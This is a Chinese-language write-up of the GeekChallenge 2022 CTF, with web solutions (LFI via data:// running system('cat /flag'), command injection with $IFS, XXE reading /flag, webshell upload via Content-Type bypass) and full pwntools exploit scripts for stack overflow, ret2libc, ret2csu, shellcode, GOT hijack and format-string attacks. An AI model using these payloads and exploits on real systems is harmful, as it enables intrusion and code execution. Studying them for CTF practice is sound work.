GeekChallenge2022 WriteUp

Syclover 三叶草战队 极客大挑战2022

年轻人的第二场CTF。

PWN是真的简单,ret2libc会了随便打。

GeekChallenge 2022 WP

WEB

Can Can Need

本地访问、来源、使用的浏览器、发信人。

X-Forwarded-For,Referer,User-Agent,From

不让用XFF可以参考x1r0z师傅的文章叠甲即可。

登录试试

爆破,但套了一层md5。但依旧随便过。burp/py。

但不知道为啥我手写py出锅了最后用的burp。

来发个包

忘删了.jpg

根据注释中的的JavaScript代码构造post请求。

ifffflag的value可能要想一下,考虑到原页面让你输入flag获取flag,value就是flag。

或者发其他值的时候会问你你想来点啥,这不填一发flag试试?

L0veSyc

签到题,去简介里的页面搜SYC就能拿。

justphp (?!)

is_numeric sleep 绕过随便搜一搜就能找到一个0.3e07的payload。

但很奇怪的是我本地php8过不了远程能通,怪欸。

jsfind

去游戏所有js文件看一圈就能拿到一个奇奇怪怪的地址。

进去之后解一层base64,解一层(我也不知道是啥反正丢到浏览器开发者工具控制台就能弹窗)的编码就能在弹窗里拿到flag

ezR_F_I (?!)

直接用LFI做的,RFI做不了……

1
file=data://text/plain,<?php system("cat /flag");?>

ezrce

有一个没用的变量$match,考虑变量覆盖,然后和命令拼接。

空格用$IFS$1绕过,可以搜一下IFS linux获取详情。

过滤了php,用*通配符匹配文件即可

1
ip=localhost;match=at;c$match$IFS$1may_b3_y0u_can_pr0t3c*

Welcome to SQL (!)

sqlmap可以梭 刚学 太菜了 不会手工注入qwq

todo: SQL注入相关

baby_upload

Content-Type多试几发就能试出来允许image/jpeg,似乎没有别的检查。

抓包改Content-Type即可上传php马,然后发包或者工具上线即可。

ezGame (!)

JWT密钥爆破(提示里给字典了),XXE

随便搜一搜jwt爆破就有现成的py脚本,改一改就能用。

然后一个XXE,手工发POST包即可,回显位要跟变量位置对上。

比如:下面的ENTITYSYSTEM中间的a和两个firstname里面夹着的a就要一致,firstname也需要在xml内存在。

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY a SYSTEM "file:///flag">]>
<firstname>&a;</firstname>

ezrequest (?)

很怪,一模一样的脚本Windows过不了Linux能过

写过API/爬虫的这题ez

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import requests
import re
from urllib.parse import urlencode
base_url="http://wf81cf97-64b0-11ed-bc58-165319f5738e.challenge.sycsec.com/"
s=requests.session()
r=s.post(base_url+"?action=index",data={"xh":123})
dat=re.findall("更好摸鱼:([0-9]+)号(.*?)<",r.text)
datp={"num": dat[0][0],"class": dat[0][1]}
r=s.post(base_url+"?action=check",data=datp)
print(r.text)
print(r.headers)

PWN

nc不解释,pwn1_1直接给了漏洞函数且没有任何保护直接栈溢出即可。

pwn2_1

这题有可能是我想难了

有execve有binsh但没有rdx的gadget,考虑ret2csu。

然后就很显然了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
#s=process("./pwn2_1")
#gdb.attach(s)
s=remote("gxh191.top",25531)
rdi=0x401353
rsir15=0x401351
execve_plt=0x4010c4
execve_got=0x404030
binsh=0x402008
csu1=0x40134a
csu2=0x401330
p0=b"a"*9+b"\x00"+b"a"*14
p1=flat([csu1,0,0,binsh,0,0,execve_got,csu2])
s.recvuntil(b"\n")
s.send(p0+p1)
s.interactive()

pwn2_2

mprotect函数用于设定内存权限,rwx,跟linux的0-7是相同的用法。

具体可见CTFAIO

应该还有更高级的用法但这题用不上(而且我不会qwq)

1 -> READ

2 -> write

4 -> executable

权限的叠加:对相应权限 相加/逻辑或 即可

既然mprotect给你7了,也让你往上写数据,shellcode梭就完事了。

canary也没开,直接把返回地址指向shellcode即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
fileName="./pwn2_2"
_remote_l=["gxh191.top",25532]

#s=process(fileName)
#gdb.attach(s)
s=remote(_remote_l[0],_remote_l[1])

s.recv()
shellcode=asm(shellcraft.sh())
s.send(shellcode)
s.recv()
s.send(b"a"*(0x10+8)+p64(0x4040a0))
s.interactive()

pwn2_3

NX没开、给了栈基地址,考虑直接往栈上写shellcode然后跳回来。

最开始以为最后的8个byte任意写是让我把TLS里的原始canary给改掉,但经师傅提醒之后这种不太行。

考虑劫持最后一个puts的got,让执行puts函数的时候让他执行栈上的shellcode。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
#s=process("./pwn2_3")
elf=ELF("./pwn2_3")
#gdb.attach(s)
s=remote("gxh191.top",25536)

buf=eval(s.recvuntil(b"\n").decode().strip("\n").split(":")[-1])
success("buf: "+hex(buf))

shellcode=asm(shellcraft.sh())
p0=shellcode.ljust(0x110-8,b"\x90")
s.recv()
s.send(p0)

puts_got=elf.got["puts"]
s.recv()
s.sendline(str(puts_got).encode())

s.recv()
s.send(p64(buf))

s.interactive()

pwn3_1

静态链接,就末尾一个read,还tm有canary?栈上就0x10的大小。玩nm.jpg

再看看…?main函数末尾没有__stack_check_fail?WTF?

暂时先记一笔,以后还会回来细研究这里。

gcc编译选项中堆栈保护有两个级别,完全体当然是给所有的函数后面都插入保护代码,不完全体只为局部变量中含有char数组的函数插入保护代码。

所以具体开没开还是要看对应函数末尾有没有mov fs 0x14 0x28 xor jnz __stack_chk_fail之类的字眼。

反正canary没了先happy一下。

mallocmprotect,还有本来就是rwheap

考虑用mprotect把一段heap改成rwx,然后往上读shellcode

最开始觉得readbuf太小不够我一次打穿(gadget只有单个寄存器,每改一次就是0x10,就算改用csu也只能每三个寄存器节省0x08),后来想想让他分两次不就得了。

第一次改内存权限,然后跳回main,第二次再往堆上读shellcode,然后跳过去。

本来还想一遍过是绝对不可能的直到我失手按了一个q和回车……md竟然没跳EOF……

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
#s=process("./pwn3_1")
#gdb.attach(s)
elf=ELF("./pwn3_1")
s=remote("gxh191.top",25535)

pad=b"a"*0x18
rdi=0x401882
rsi=0x40f1ce
rdx=0x40178f
shellcode=asm(shellcraft.sh())
heapAddr=0x4c3000
#heapSize=0x24000
readSym=elf.symbols["read"]
mainSym=elf.symbols["main"]
mprotectSym=elf.symbols["mprotect"]

p0=flat([pad,rdi,heapAddr,rsi,0x1000,rdx,7,mprotectSym,mainSym])
s.recvuntil(b"\n")
s.send(p0)

p1=flat([pad,rdi,0,rsi,heapAddr,rdx,0x1000,readSym,heapAddr])
s.recvuntil(b"\n")
s.send(p1)
s.send(shellcode)

s.interactive()

pwn3_2

system,但没有binsh,但有能写的bss段。

那就自己写binsh然后依旧简简单单。

记得平栈。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
s=remote("gxh191.top",25534)
rdi=0x4012c3
sys=0x401080
binsh=0x404090
retn=0x401252

s.recvuntil(b"Give me your phone number:\n")
s.send(b"/bin/sh")

p=flat([rdi,binsh,retn,sys])
s.recvuntil(b": \n")
s.send(b"a"*(0x10+8)+p)

s.interactive()

pwn3_3

ret2libc,随便玩。按ctf-wiki步骤来即可。

注意一下64位系统的传参规则,以及平栈。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
elf=ELF("./pwn3_3")
s=remote("gxh191.top",25533)
rdi=0x4012f3

puts_plt=elf.plt["puts"]
libc_start_main_got=elf.got["__libc_start_main"]
main=elf.symbols["main"]

p0=flat([b"a"*0x18,rdi,libc_start_main_got,puts_plt,main])
s.recvuntil(b": ")
s.send(p0)
libc_main_addr=int.from_bytes(s.recv(),byteorder="little")

libc_base=libc_main_addr-0x23f90
sys_addr=libc_base+0x52290
binsh=libc_base+0x1b45bd
retn=libc_base+0x522bc

p1=flat([b"a"*0x18,rdi,binsh,retn,sys_addr])
s.recvuntil(b": ")
s.send(p1)

s.interactive()

pwn4_1

emm……还是ret2libc,只不过puts换成了write

传参比较烦,不过乱搞就完事了(OI:乱搞能AC)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
#s=process("./pwn4_1")
#gdb.attach(s)
elf=ELF("./pwn4_1")
s=remote("gxh191.top",25537)

pad=b"a"*0x18
rdi=0x4012c3
retn=0x4012c4
csu1=0x4012ba # rbx rbp r12-r15
csu2=0x4012a0 # rsi rdi rdx

libc_start_main_got=elf.got["__libc_start_main"]
write_plt=elf.plt["write"]
write_got=elf.got["write"]
mainSym=elf.symbols["main"]

p0=flat([pad,csu1,0,1,1,libc_start_main_got,8,write_got,csu2,0,0,0,0,0,0,0,mainSym])
s.recvuntil(b"\n")
s.send(p0)

libc_base=int.from_bytes(s.recv(8),byteorder="little")-0x23f90
success(hex(libc_base))
binsh=0x1b45bd+libc_base
system=0x52290+libc_base

p1=flat([pad,rdi,binsh,retn,system])
s.recvuntil(b"\n")
s.send(p1)

s.interactive()

pwn4_2

emm……

还是ret2libcret2csu

寄存器一遍布置不下那就多来几遍

patch一时爽,一直patch一直爽(逃

后来想想也许把csu2那个call地址改成ret似乎会更优雅?也许之后可以试试(

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
#s=process("./pwn4_2")
#gdb.attach(s)
elf=ELF("./pwn4_2")
libc=ELF("./libc.so.6")
s=remote("gxh191.top",25538)

pad=b"a"*0x18
rdi=0x401253
rbp=0x40115d
csu1=0x40124a # rbx rbp r12-r15
csu2=0x401230 # r12-r14 -> rsi rdi rdx, ret2 [r15+8*rbx]
r12__r15=0x40124c

mainSym=elf.symbols["main"]
write_got=elf.got["write"]
libc_start_main_got=elf.got["__libc_start_main"]

p0=flat([pad,csu1,0,1,1,libc_start_main_got,6,write_got,mainSym])
s.recvuntil(b"\n")
s.send(p0)

p1=flat([pad,rbp,1,csu2,0,0,0,0,0,0,0,mainSym])
s.recvuntil(b"\n")
s.send(p1)

libc_base=int.from_bytes(s.recv(6),byteorder="little")-0x23f90
success(hex(libc_base))
execve=libc_base+0xe3afe

p2=flat([pad,r12__r15,0,0,0,0,execve])
s.recvuntil(b"\n")
s.send(p2)

s.interactive()

pwn4_3

人生中第一个自己做出来且能完全理解的fmt

给了栈地址,直接debug看rsp和rbp间偏移+8即可。

exp实现了一个任意地址写,照着ctf-wiki上的fmt32稍微改了改就有了里面的fmt64

把格式化串放到了前面,地址放到了后面,可以自动8byte对齐,可以自动正确的的offset。

剩下的就是基本的ret2libc了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
import time
context(os="linux",arch="amd64",log_level="debug")
elf_name="./never_get_P"
libc_name="./libc-2.31.so"
debug=False
pwn_remote=True
remote_addr="gxh191.top"
remote_port=25539

if pwn_remote:
    s=remote(remote_addr,remote_port)
else:
    s=process(elf_name)
elf=ELF(elf_name)
libc=ELF(libc_name)
if debug: gdb.attach(s)

def fmtstring(prev,word,index):
    if word==prev:
        result=0
        fmtstr=""
    elif word==0:
        result=256-prev
        fmtstr=f"%{result}c"
    elif prev<word:
        result=word-prev
        fmtstr=f"%{result}c"
    elif prev>word:
        result=256-prev+word
        fmtstr=f"%{result}c"
    fmtstr+=f"%{index}$hhn"
    return [fmtstr.encode(),result]

def fmt64(offset,original_offset,addr,content,inner=False):
    payloada=b""
    prev=0
    for i in range(8):
        retl=fmtstring(prev,(content>>i*8)&0xff,offset+i)
        payloada+=retl[0]
        prev+=retl[1]
        prev&=0xff
    while len(payloada)%8!=0:
        payloada+=b"a"
    if offset==original_offset+len(payloada)/8 and inner:
        return payloada
    payload=fmt64(offset+1,original_offset,addr,content,True)
    if inner:
        return payload
    for i in range(8):
        if context.arch=="amd64":
            payload+=p64(addr+i)
        elif context.arch=="i386":
            payload+=p64(addr+i)
    return payload

def fmtSend(of,oriof,sbptr,pl):
    for e in pl:
        s.send(fmt64(of,oriof,sbptr,e))
        s.recv()
        if context.arch=="amd64":
            sbptr+=8
        elif context.arch=="i386":
            sbptr+=4

if __name__=="__main__":
    stack_base=eval(s.recvline(keepends=False).split(b":")[-1].decode())
    success("Stack base: "+hex(stack_base))
    s.recv()
    
    rdi=0x4014d3
    puts_plt=elf.plt["puts"]
    lsm_got=elf.got["__libc_start_main"]
    main_sym=elf.symbols["main"]

    p0=[rdi,lsm_got,puts_plt,main_sym]
    fmtSend(6,6,stack_base+0x438,p0)

    s.send(b"Y")
    s.recvuntil(b"Y")

    libc_base=int.from_bytes(s.recvline(keepends=False),byteorder="little")-libc.symbols["__libc_start_main"]
    success("libc base: "+hex(libc_base))
    execve=libc_base+0xe6aee
    r12__r15=0x4014cc
    
    stack_base=eval(s.recvline(keepends=False).split(b":")[-1].decode())
    success("Stack base: "+hex(stack_base))
    success(s.recv())

    pf=[r12__r15,0,0,0,0,execve]
    fmtSend(6,6,stack_base+0x438,pf)

    s.send(b"Y")
    s.recvuntil(b"Y")

    s.interactive()

pwn5_1

感觉非预期了

gdb随便调一调就能知道canary%43然后第一个ret(也就是rbp+8)在%45

%p把第一个ret漏出来,%scanary漏出来

然后在第二步基本操作ret2libc,直接溢出就完事了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
import time
context(os="linux",arch="amd64",log_level="debug")
elf_name="./pwn5_1"
libc_name="./libc.so.6"
debug=False
pwn_remote=True
remote_addr="gxh191.top"
remote_port=25530

if pwn_remote:
    s=remote(remote_addr,remote_port)
else:
    s=process(elf_name)
elf=ELF(elf_name)
libc=ELF(libc_name)
if debug: gdb.attach(s)

def fmtstring(prev,word,index):
    if word==prev:
        result=0
        fmtstr=""
    elif word==0:
        result=256-prev
        fmtstr=f"%{result}c"
    elif prev<word:
        result=word-prev
        fmtstr=f"%{result}c"
    elif prev>word:
        result=256-prev+word
        fmtstr=f"%{result}c"
    fmtstr+=f"%{index}$hhn"
    return [fmtstr.encode(),result]

def fmt64(offset,original_offset,addr,content,inner=False):
    payloada=b""
    prev=0
    for i in range(8):
        retl=fmtstring(prev,(content>>i*8)&0xff,offset+i)
        payloada+=retl[0]
        prev+=retl[1]
        prev&=0xff
    while len(payloada)%8!=0:
        payloada+=b"a"
    if offset==original_offset+len(payloada)/8 and inner:
        return payloada
    payload=fmt64(offset+1,original_offset,addr,content,True)
    if inner:
        return payload
    for i in range(8):
        if context.arch=="amd64":
            payload+=p64(addr+i)
        elif context.arch=="i386":
            payload+=p64(addr+i)
    return payload

def fmtSend(of,oriof,sbptr,pl):
    for e in pl:
        s.send(fmt64(of,oriof,sbptr,e))
        s.recv()
        if context.arch=="amd64":
            sbptr+=8
        elif context.arch=="i386":
            sbptr+=4

if __name__=="__main__":
    s.recvuntil(b"\n")
    
    libc_arg=b"%45$p:%43$p:"
    s.send(libc_arg)
    libc_base=eval(s.recvuntil(b":").decode().strip(":"))-0x24083
    success("libc base: "+hex(libc_base))
    canary=eval(s.recvuntil(b":").decode().strip(":"))
    success("canary: "+hex(canary))
    s.recvuntil(b"\n")

    pad=b"a"*0x108+p64(canary)+b"b"*8
    execve=libc_base+0xe3afe
    r12__r15=libc_base+0x23b63
    p0=flat([pad,r12__r15,0,0,0,0,execve])
    s.send(p0)
    s.recv()

    s.interactive()

后记

后来看WP好像有题没放出来。

虽然AK了但是瑟瑟发抖。

看看明年?

0%